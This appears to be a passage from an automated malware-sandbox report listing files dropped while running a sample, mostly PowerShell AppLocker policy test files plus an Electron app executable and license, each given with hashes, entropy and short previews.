                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_omhou1l3.vyt.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5av0soy.4dv.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_raqq0nu2.1th.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rcxgdnt0.o3d.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rhtjgm1s.ljk.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rs5zmq1u.sud.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s2pwcx0l.kxl.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s4rypv2i.4vd.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snklbmcv.04k.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snzas0yv.w50.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqno1xm1.gyn.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_svz3qfud.lkq.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tq1js4lk.40i.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uihythjc.bae.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vnhyxlyw.ndf.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w02psuwa.sky.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcisvzcs.l0a.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wx0strnk.3mt.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2p5whqa.4r1.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\AsapPrice.exe

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):160143360
                                                                                                                                                                                                                                                Entropy (8bit):6.74179101901808
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1572864:OLBZB52nvuZ7wVuMbgR7Sp6kYdEctmhoLsPagBsgkx52HYhwj+vfIBUdoJnP9Dj0:OypCmJctBjj2+Jv
                                                                                                                                                                                                                                                MD5:E9DFAA053710AE038CB4741FBE77E9D9
                                                                                                                                                                                                                                                SHA1:9D7F9C84980ACD0ACEC914F4615CE8568CF1404E
                                                                                                                                                                                                                                                SHA-256:1DEECDFBA43F4DEE6CD898B24317117E9C8096CFCDF340A17659571F1CB29DD3
                                                                                                                                                                                                                                                SHA-512:70E4F0D13F7789729D6FDD841776B19588667F55B1D92EC021F5EA264F978F721171BFA86E709549F91817DA5873D7AE7499625E01B576FB94AF36596CCB9401
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........."......0...8.......F.........@..........................................`...........................................+.. ..0"..h.......D....Pt.._@..........0.......!.......................!.(... Q..@...........@8......`.*......................text...:/.......0.................. ..`.rdata..h.n..@....n..4..............@..@.data....TB...1.......1.............@....pdata..._@..Pt..`@...9.............@..@.00cfg..0.............z.............@..@.gxfg...pA.......B....z.............@..@.retplne.............Dz..................rodata...... .......Fz............. ..`.tls.........@.......Xz.............@...CPADinfo8....P.......\z.............@...LZMADEC......`.......^z............. ..`_RDATA..\............pz.............@..@malloc_h+............rz............. ..`.rsrc...D............xz.............@..@.reloc......0........|.............@..B................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\LICENSE.electron.txt

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:ASCII text
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1096
                                                                                                                                                                                                                                                Entropy (8bit):5.13006727705212
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                                                                                                                                MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                                                                                                                                SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                                                                                                                                SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                                                                                                                                SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\LICENSES.chromium.html
